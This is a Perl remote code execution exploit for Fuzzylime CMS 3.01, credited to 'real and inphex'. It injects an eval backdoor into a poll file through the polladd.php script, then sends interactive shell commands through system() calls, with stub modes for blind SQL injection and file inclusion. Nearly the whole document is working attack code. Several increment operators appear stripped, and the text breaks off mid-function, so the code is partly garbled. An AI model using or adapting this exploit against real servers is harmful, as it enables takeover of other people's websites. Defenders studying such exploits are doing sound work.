fuzzylime cms 3.01 (polladd.php poll) Remote Code Execution Exploit (pl)

#!/usr/bin/perl
#!!UPDATED!!!!UPDATED!!!!UPDATED!!!!UPDATED!!!!UPDATED!!!!UPDATED!!!!UPDATED!!
#after i noticed that there was a problem changing $cmd,i fixed it.this is the result.
##
## Fuzzylime 3.01 Remote Code Execution
## Credits: real and inphex
##
## [C:\]# perl ye.pl host /path/
## :>id
## uid=63676(dswrealty) gid=888(vusers) groups=33(www-data)
##

use LWP::UserAgent;
use HTTP::Cookies;
use Switch;


$host_ = "http://".shift;
$path_ = shift;
$info{'info'} = {
"description" => ["#################################################\nFuzzyLime Remote Code Execution\n#################################################\nreal & inphex\n"],
"options" =>
{
"agent" => "",
"proxy" => "",
"default_headers" => [
["key","value"]],
"timeout" => 2,
"cookie" =>
{
"cookie" => [""],
},
},
"sending_options" =>
{
"host" => $host_,
"path" => $path_."code/polladd.php",
"port" => 80,
"method_a" => "REMOTE_CODE_EXECUTION",
"attack" =>
{
"poll" => ["get","poll","....//swear"],
"log" => ["get","log","1"],
"_SERVER[REMOTE_ADDR]" => ["get","_SERVER[REMOTE_ADDR]","\";eval(\"\$_POST[cmd]\"); ?>"],
},
},

};

&start($info{'info'},222);

while () {
print ":>";
$cmd = <STDIN>;
chomp($cmd);
$info1{'info1'} = { "options" =>{"agent" => "", "proxy" => "", "default_headers" => [ ["key","value"]], "timeout" => 2, "cookie" => {"cookie" => [""],},},"sending_options" =>{"host" => $host_, "path" => $path_."code/polls/swear.inc.php", "port" => 80, "method_a" => "REMOTE_CODE_EXECUTION", "attack" =>{
"cmd" => ["post","cmd","system('".$cmd."');"],},},};
&start($info1{'info1'},221);
print ${$info1{'info1'}}{221}{'content'};
}


sub start
{

$a_ = shift;
$id = shift;
$post_dA = "";
$get_dA = get_d_p_s("get");
$post_dA = get_d_p_s("post");

my ($x,$c,$m,$h,$ff,$kf,$hp,$c,$cccc) = (0,0,0,0,0,0,0,0,0);
$jj = 1;
$ii = 48;
$hh = 1;
$ppp = 0;
$s = shift;
$a = "";
$res_p = "";
$h = "";
$ua= "";
$agent= "";
$k= "";
$v= "";
$get_data= "";
$post_data= "";
$header_dA = "";
$h_host_h_xdsjaop = $a_->{'sending_options'}{'host'};
$h_path_h_xdsjaop = $a_->{'sending_options'}{'path'};
$h_port_h_xdsjaop = $a_->{'sending_options'}{'port'};
$method_m = $a_->{'sending_options'}{'method_a'};
$ua = LWP::UserAgent->new;
$ua->timeout($a_->{'options'}{'timeout'});
if ($a_->{'options'}{'proxy'}) {
$ua->proxy(['http', 'ftp'] => $a_->{'options'}{'proxy'});
}
$agent = $a_->{'options'}{'agent'} || "Mozilla/5.0";
$ua->agent($agent);
{
while (($k,$v) = each(%{$a_}))
{
if ($k ne "options" && $k ne "sending_options")
{
foreach $r (@{$a_->{$k}})
{
print $a_->{$k}[0];
}
}
}


foreach $j (@{$a_->{'options'}{'default_headers'}})
{
$ua->default_headers->push_header($a_->{'options'}{'default_headers'}[$m][0] => $a_->{'options'}{'default_headers'}[$m][1]);
$m ;
}

if ($a_->{'options'}{'cookie'}{'cookie'}[0])
{
$ua->default_headers->push_header('Cookie' => $a_->{'options'}{'cookie'}{'cookie'}[0]);
}



}
switch ($method_m)
{
case "attack" { &attack();}
case "SQL_INJECTION_BLIND" { &sql_injection_blind();}
case "REMOTE_COMMAND_EXECUTION" { &attack();}
case "REMOTE_CODE_EXECUTION" {&attack();}
case "REMOTE_FILE_INCLUSION" { &attack();}
case "LOCAL_FILE_INCLUSION" { &attack(); }
else { &attack(); }

}


sub attack
{
my ($jj);
my ($h);
my($x);
if ($post_dA eq "") {
$method = "get";
} elsif ($post_dA ne "")
{
$method = "post";
}
if ($method eq "get") {
$res_p = get_data($h_host_h_xdsjaop,$h_path_h_xdsjaop."?".$get_dA);
${$a_}{$id}{'content'} = $res_p;
foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}})
{
$res_p =~ /$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/;

while ($jj <= $a_->{'sending_options'}{'attack'}{'regex'}[$h][1])
{
if (${$jj} ne "")
{
${$a_}{$id}{'regex'}[$h][$x] = ${$jj};
$x ;
}
$jj ;
}

$h ;
}
} elsif ($method eq "post")
{
$res_p = post_data($h_host_h_xdsjaop,$h_path_h_xdsjaop."?".$get_dA,"application/x-www-form-urlencoded",$post_dA);

${$a_}{$id}{'content'} = $res_p;

foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}})
{
$res_p =~ /$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/;
while ($jj <= $a_->{'sending_options'}{'attack'}{'regex'}[$h][1])
{
if (${$jj} ne "")
{
${$a_}{$id}{'regex'}[$h][$x] = ${$jj};
$x ;
}
$jj ;
}
$h ;
}
}

}
sub sql_injection_blind
{
while ()
{
while ($ii <= 120)
{

$itsx = "[".chr($ii)."]";
$l = length($itsx);
$b = ("\b")x$l;
syswrite STDOUT,$b.$itsx;

if(check($ii,$hh) == 1)
{
syswrite STDOUT,$b.chr($ii)."---";
$hh ;
$chr = $chr.chr($ii);
}
$ii ;
}
push(@ffs,length($chr));
if (($#ffs - 999) == $ffs)
{
exit;
}
$ii = 48;
}
}
sub check($$)
{
my ($h);
my ($a);
$ii = shift;
$hh = shift;

if (get_d_p_s("post") ne "")
{
$method = "post";
} else { $method = "get";}
if ($method eq "get")
{
$ppp ;